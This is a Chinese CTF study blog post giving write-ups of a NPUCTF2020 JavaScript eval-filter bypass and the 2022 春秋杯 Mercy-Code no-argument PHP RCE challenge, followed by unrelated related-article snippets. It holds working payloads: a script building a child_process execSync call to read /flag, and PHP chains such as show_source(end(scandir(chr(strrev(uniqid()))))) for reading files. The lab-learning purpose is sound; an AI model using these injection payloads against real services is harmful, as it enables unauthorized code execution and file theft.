当前位置: 首页 > news >正文

3月19日做题

[NPUCTF2020]验证🐎

  if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0]))

用数组绕过first='1'&second=[1]
这里正则规律过滤位(Math.)

(?:Math(?:\.\w+)?) : 匹配 “Math” 后面可能跟着一个点和任意单词字符的部分,整个部分是一个非捕获型分组。
| : 或运算符,表示两边任选其一。
[()+\-*/&|^%<>=,?:] : 匹配括号、加号、减号、乘号、除号、与操作符、或操作符、异或操作符、取模操作符、小于号、大于号、等于号、逗号、冒号和问号中的任意一个字符。
| : 或运算符
(?:\d+\.?\d*(?:e\d+)?) : 匹配数字,可以包括小数点和科学计数法表示。
| : 或运算符
/g : 匹配空格
function saferEval(str) {if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {return null;}return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个const template = fs.readFileSync('./index.html').toString();
function render(results) {return template.replace('{{results}}', results.join('<br/>'));
}

最好用脚本,burp容易出错

抄的脚本

import re 
encode = lambda code: list(map(ord,code)) 
#decode = lambda 
code: "".join(map(chr,code)) a=f""" (m0=>( m0=m0.constructor, m0.x=m0.constructor( m0.fromCharCode({encode("return process.mainModule.require('child_process').execSync('cat /flag')")}) )() ))(Math+1) """ print(a+'\n') a=re.sub(r"[\s\[\]]", "", a).replace("m0","Math") print(a)

2022春秋杯冬季赛

ez_php

在这里插入图片描述

2022年春秋春季赛

Mercy-Code

无参数rce的plus
在这里插入图片描述
过滤比较严格,通过两个脚本,找到所有内置函数,和可以使用的函数

<?php
$a = get_defined_functions()['internal'];
$file = fopen("function.txt","w+");
foreach ($a as $key ) {echo fputs($file,$key."\r\n");
}
fclose($file);
?>

这里我写一个关于无参数rce的总结,之前一直遇到就是传统的无参数,没有过滤函数。

RCE主题之无参数

常规的无参数rce题目,要求字母开头跟着()镶嵌.
举例

var_dump(get_cwd());
system(next(getallheaders()));

这种形式可以符合题型要求

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {    eval(\$_GET['star']);
}

但如果题目进行升级,过滤var_dump,system等这些常规函数,有哪些特别函数可以用来进行rce,又该如何构造?
这里以[2022春秋杯]Mercy-code来进行讲解,明显发现题目变化主要在过滤,\w换成了[a-z_]其实就是大写和数字去掉了,本来也不影响的。

<?php
highlight_file(__FILE__);
if ($_POST['cmd']) {$cmd = $_POST['cmd'];if (';' === preg_replace('/[a-z_]+\((?R)?\)/', '', $cmd)) {if (preg_match('/file|if|localeconv|phpversion|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|var_dump|pos|current|array|time|se|ord/i', $cmd)) {die('What are you thinking?');} else {eval($cmd);}} else {die('Please calm down');}
}

这里因为能力有限,脚本函数都是取自大佬的,根源是谁也不知道,但学习就对了。
获取PHP内置函数

<?php
$a = get_defined_functions()['internal'];
$file = fopen("function.txt","w+");
foreach ($a as $key ) {echo fputs($file,$key."\r\n");
}
fclose($file);
?>

查找能使用的函数

import re
f = open('function.txt','r')
for i in f:function = re.findall(r'/file|if|localeconv|phpversion|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|var_dump|pos|current|array|time|se|ord/i',i) if function == [] and not '_' in i:print(i)

这里能找到很多函数,我是从别人的经验里总结了几种方法

uniqid(),这个函数前部分的内容是不变的,每次改变的是后面的内容,自己多次运行后发现前五位是不变的
在这里插入图片描述

strrev() 函数将字符串反转
在这里插入图片描述

chr 生成ASCII的对应字符
那我们通过strrev取出随机的unqid产生的数字进行转码就能有机会构造出.
我们目标就是先构造能读取当前目录的函数表达式
通过这脚本可以发现是有机会生成.的

<?php
for($i=0;$i<1000;$i++)
echo(chr(strrev(uniqid())));
?>

在这里插入图片描述
这里有一点注意,只有php7版本以下对类型不敏感,否则会报错显示chr('12313123')这种无法转化字符串的.
scandir() 返回目录
生成
scandir(chr(strrev(unqid))
找到implode函数
implode() 将一维数组转换成字符串
die() 结束进程,并输出内容,等同于 exit()
echo 可以用die代替
发现成功
在这里插入图片描述
发现疑似flag文件在尾部
然后就是读取文件,这里利用end()函数得到文件名

end() 将数组的内部指针指向最后一个单元
show_source() 语法高亮一个文件 highlight_file() 别名
show_source可以用file代替
成功

cmd=show_source(end(scandir(chr(strrev(uniqid())))));

在这里插入图片描述
但这里我们如果再提高难度,不在当前目录怎么办?,在上一级的目录
chdir(‘…’) 是 PHP 中用于改变当前工作目录的函数要跳转到上层目录需要构造两个点即chdir('..')
从当前目录返回的值我们有经验知道第二个数组里面就是'..',我们可以用next来获取第二个数值

cmd=echo(implode(scandir(next(scandir(chr(strrev(uniqid())))))));

成功
在这里插入图片描述
还有人问根目录呢?前面随机里本就有/出现,同样可以读取到。
再增加难度,如果说这个unqid不能使用怎么办.

方法plus

搜索headers头查找到apache_request_headers()

发现end(apache_request_headers()可以获得80

通过三角函数我们尝试去获得46,chr(46)=‘.’
ceil() 是 PHP 中用于向上取整的函数
在这里插入图片描述
具体方法自己调试
得到如下payload

ceil(sinh(cosh(tan(ceil(cosh(sin(tan(end(apache_request_headers()))))))))) // 通过运算得到 46 
然后我们找到flag位置输出即可cmd=show_source(end(scandir(chr(ceil(sinh(cosh(tan(ceil(cosh(sin(tan(end(apache_request_headers())))))))))))));

除此之外其实还有很多例如
cmd=show_source(end(scandir(next(each(str_split(spl_autoload_extensions()))))));
大家可以自己去研究尝试一下,也许下一次的题就是出题人自己研究的。

相关文章:

3月19日做题

[NPUCTF2020]验证&#x1f40e; if (first && second && first.length second.length && first!second && md5(firstkeys[0]) md5(secondkeys[0]))用数组绕过first1&second[1] 这里正则规律过滤位(Math.) (?:Math(?:\.\w)?) : 匹配 …...

Java8中Stream流API最佳实践Lambda表达式使用示例

文章目录 一、创建流二、中间操作和收集操作筛选 filter去重distinct截取跳过映射合并多个流是否匹配任一元素&#xff1a;anyMatch是否匹配所有元素&#xff1a;allMatch是否未匹配所有元素&#xff1a;noneMatch获取任一元素findAny获取第一个元素findFirst归约数值流的使用中…...

构建Helm chart和chart使用管道与函数简介

目录 一.创建helm chart&#xff08;以nginx为例&#xff09; 1.通过create去创建模板 2.查看模板下的文件 3.用chart模版安装nginx 二.版本更新和回滚问题 1.使用upgrade -f values.yaml或者命令行--set来设置 2.查看历史版本并回滚 三.helm模板内管道和函数 1.defau…...

深入理解OnCalculate函数的运行机制

文章目录 一、学习 OnCalculate 函数的运行原理的意义二、OnCalculate 函数原型三、OnCalculate 函数在MT4与MT5区别四、OnCalculate 函数的运行原理 一、学习 OnCalculate 函数的运行原理的意义 OnCalculate函数是MQL语言中的一个重要函数&#xff0c;它用于计算技术指标的值。…...

快速从0-1完成聊天室开发——环信ChatroomUIKit功能详解

聊天室是当下泛娱乐社交应用中最经典的玩法&#xff0c;通过调用环信的 IM SDK 接口&#xff0c;可以快速创建聊天室。如果想根据自己业务需求对聊天室应用的 UI界面、弹幕消息、礼物打赏系统等进行自定义设计&#xff0c;最高效的方式则是使用环信的 ChatroomUIKit 。 文档地址…...

nginx实现多个域名和集群

要通过Nginx实现多个域名和集群&#xff0c;你需要配置Nginx作为反向代理服务器&#xff0c;将来自不同域名的请求转发到集群中的相应后端服务器。下面是一个基本的配置示例&#xff0c;你可以根据自己的需求进行修改和扩展。 首先&#xff0c;确保你已经安装了Nginx&#xff…...

C. Left and Right Houses

Problem - C - Codeforces 题目分析 <1>0&#xff1a;想被分割至左边&#xff1b; 1&#xff1a;想被分割至右边 <2>使得左右两侧均有一半及其以上的人满意&#xff08;我*******&#xff09; <3>答案若有多个&#xff0c;取最接近中间位置的答案 <4…...

缓存与内存:加速你的Python应用

在现代计算中&#xff0c;缓存和内存是提高程序性能的关键组件。在这篇文章中&#xff0c;我们将深入探讨这两个概念&#xff0c;了解它们是如何工作的&#xff0c;以及如何在Python中有效地使用它们来优化你的程序。 缓存与内存&#xff1a;加速你的Python应用 缓存和内存&…...

Go语言之函数、方法、接口

一、函数 函数的基本语法&#xff1a; func 函数名&#xff08;形参列表&#xff09;&#xff08;返回值列表&#xff09; {执行语句...return 返回值列表 } 1.形参列表&#xff1a;表示函数的输入 2.函数中的语句&#xff1a;表示为了实现某一功能的代码块 3.函数可以有返回…...

【Week Y2】使用自己的数据集训练YOLO-v5s

Y2-使用自己的数据集训练YOLO-v5s 零、遇到的问题汇总&#xff08;1&#xff09;遇到git的import error&#xff08;2&#xff09;Error&#xff1a;Dataset not found&#xff08;3&#xff09;Error&#xff1a;删除中文后&#xff0c;训练图片路径不存在 一、.xml文件里保存…...

蓝桥杯--基础(哈夫曼)

import java.util.ArrayList; import java.util.Collections; import java.util.List; import java.util.Scanner;public class BASIC28 {//哈夫曼书public static void main(String[] args) {Scanner Scannernew Scanner(System.in);int nScanner.nextInt();List<Integer&…...

【Redis内存数据库】NoSQL的特点和应用场景

前言 Redis作为当今最流行的内存数据库&#xff0c;已经成为服务端加速的必备工具之一。 NoSQL数据库采用了非关系型的数据存储模型&#xff0c;能够更好地处理海量数据和高并发访问。 内存数据库具有更快的读写速度和响应时间&#xff0c;因为内存访问速度比磁盘访问速度快…...

JavaScript基础知识2

求数组的最大值案例 let arr[2,6,1,7,400,55,88,100]let maxarr[0]let minarr[0]for(let i1;i<arr.length;i){max<arr[i]?maxarr[i]:maxmin>arr[i]?minarr[i]:min}console.log(最大值是&#xff1a;${max})console.log(最小值是&#xff1a;${min}) 操作数组 修改…...

Linux之线程同步

目录 一、问题引入 二、实现线程同步的方案——条件变量 1、常用接口&#xff1a; 2、使用示例 一、问题引入 我们再次看看上次讲到的多线程抢票的代码&#xff1a;这次我们让一个线程抢完票之后不去做任何事。 #include <iostream> #include <unistd.h> #inc…...

03 龙芯平台openstack部署搭建-keystone部署

#!/bin/bash #创建keystone数据库并授权&#xff0c;可通过mysql -ukeystone -ploongson验证授权登录 mysql -uroot -e “set password for rootlocalhost password(‘loongson’);” mysql -uroot -ploongson -e ‘CREATE DATABASE keystone;’ #本地登录 mysql -uroot -ploo…...

定义了服务器的端口号和Servlet的上下文路径

server: port: 1224 servlet: context-path: /applet 这个配置定义了服务器的端口号和Servlet的上下文路径。 下面是配置的解释&#xff1a; server.port: 1224&#xff1a;这表示服务器应该监听在1224端口上。server.servlet.context-path: /applet&#xff1a;这表…...

AI论文速读 | UniST:提示赋能通用模型用于城市时空预测

本文是时空领域的统一模型——UniST&#xff0c;无独有偶&#xff0c;时序有个统一模型新工作——UniTS&#xff0c;感兴趣的读者也可以阅读今天发布的另外一条。 论文标题&#xff1a;UniST: A Prompt-Empowered Universal Model for Urban Spatio-Temporal Prediction 作者&…...

rabbitmq-spring-boot-start配置使用手册

rabbitmq-spring-boot-start配置使用手册 文章目录 1.yaml配置如下2.引入pom依赖如下2.1 引入项目resources下libs中的jar包依赖如下2.2引入maven私服依赖如下 3.启动类配置如下4.项目中测试发送消息如下5.项目中消费消息代码示例6.mq管理后台交换机队列创建及路由绑定关系如下…...

操作系统知识-操作系统作用+进程管理-嵌入式系统设计师备考笔记

0、前言 本专栏为个人备考软考嵌入式系统设计师的复习笔记&#xff0c;未经本人许可&#xff0c;请勿转载&#xff0c;如发现本笔记内容的错误还望各位不吝赐教&#xff08;笔记内容可能有误怕产生错误引导&#xff09;。 本章的主要内容见下图&#xff1a; 1、操作系统的作用…...

Go语言中的锁与管道的运用

目录 1.前言 2.锁解决方案 3.管道解决方案 4.总结 1.前言 在写H5小游戏的时候&#xff0c;由于需要对多个WebSocket连接进行增、删、查的管理和对已经建立连接的WebSocket通过服务端进行游戏数据交换的需求。于是定义了一个全局的map集合进行连接的管理&#xff0c;让所有…...

设计模式和设计原则回顾

设计模式和设计原则回顾 23种设计模式是设计原则的完美体现,设计原则设计原则是设计模式的理论基石, 设计模式 在经典的设计模式分类中(如《设计模式:可复用面向对象软件的基础》一书中),总共有23种设计模式,分为三大类: 一、创建型模式(5种) 1. 单例模式(Sing…...

关于nvm与node.js

1 安装nvm 安装过程中手动修改 nvm的安装路径&#xff0c; 以及修改 通过nvm安装node后正在使用的node的存放目录【这句话可能难以理解&#xff0c;但接着往下看你就了然了】 2 修改nvm中settings.txt文件配置 nvm安装成功后&#xff0c;通常在该文件中会出现以下配置&…...

Linux相关概念和易错知识点(42)(TCP的连接管理、可靠性、面临复杂网络的处理)

目录 1.TCP的连接管理机制&#xff08;1&#xff09;三次握手①握手过程②对握手过程的理解 &#xff08;2&#xff09;四次挥手&#xff08;3&#xff09;握手和挥手的触发&#xff08;4&#xff09;状态切换①挥手过程中状态的切换②握手过程中状态的切换 2.TCP的可靠性&…...

Spring AI 入门:Java 开发者的生成式 AI 实践之路

一、Spring AI 简介 在人工智能技术快速迭代的今天&#xff0c;Spring AI 作为 Spring 生态系统的新生力量&#xff0c;正在成为 Java 开发者拥抱生成式 AI 的最佳选择。该框架通过模块化设计实现了与主流 AI 服务&#xff08;如 OpenAI、Anthropic&#xff09;的无缝对接&…...

工业自动化时代的精准装配革新:迁移科技3D视觉系统如何重塑机器人定位装配

AI3D视觉的工业赋能者 迁移科技成立于2017年&#xff0c;作为行业领先的3D工业相机及视觉系统供应商&#xff0c;累计完成数亿元融资。其核心技术覆盖硬件设计、算法优化及软件集成&#xff0c;通过稳定、易用、高回报的AI3D视觉系统&#xff0c;为汽车、新能源、金属制造等行…...

【JavaSE】绘图与事件入门学习笔记

-Java绘图坐标体系 坐标体系-介绍 坐标原点位于左上角&#xff0c;以像素为单位。 在Java坐标系中,第一个是x坐标,表示当前位置为水平方向&#xff0c;距离坐标原点x个像素;第二个是y坐标&#xff0c;表示当前位置为垂直方向&#xff0c;距离坐标原点y个像素。 坐标体系-像素 …...

HDFS分布式存储 zookeeper

hadoop介绍 狭义上hadoop是指apache的一款开源软件 用java语言实现开源框架&#xff0c;允许使用简单的变成模型跨计算机对大型集群进行分布式处理&#xff08;1.海量的数据存储 2.海量数据的计算&#xff09;Hadoop核心组件 hdfs&#xff08;分布式文件存储系统&#xff09;&a…...

云原生安全实战:API网关Kong的鉴权与限流详解

&#x1f525;「炎码工坊」技术弹药已装填&#xff01; 点击关注 → 解锁工业级干货【工具实测|项目避坑|源码燃烧指南】 一、基础概念 1. API网关&#xff08;API Gateway&#xff09; API网关是微服务架构中的核心组件&#xff0c;负责统一管理所有API的流量入口。它像一座…...

基于IDIG-GAN的小样本电机轴承故障诊断

目录 🔍 核心问题 一、IDIG-GAN模型原理 1. 整体架构 2. 核心创新点 (1) ​梯度归一化(Gradient Normalization)​​ (2) ​判别器梯度间隙正则化(Discriminator Gradient Gap Regularization)​​ (3) ​自注意力机制(Self-Attention)​​ 3. 完整损失函数 二…...

【Android】Android 开发 ADB 常用指令

查看当前连接的设备 adb devices 连接设备 adb connect 设备IP 断开已连接的设备 adb disconnect 设备IP 安装应用 adb install 安装包的路径 卸载应用 adb uninstall 应用包名 查看已安装的应用包名 adb shell pm list packages 查看已安装的第三方应用包名 adb shell pm list…...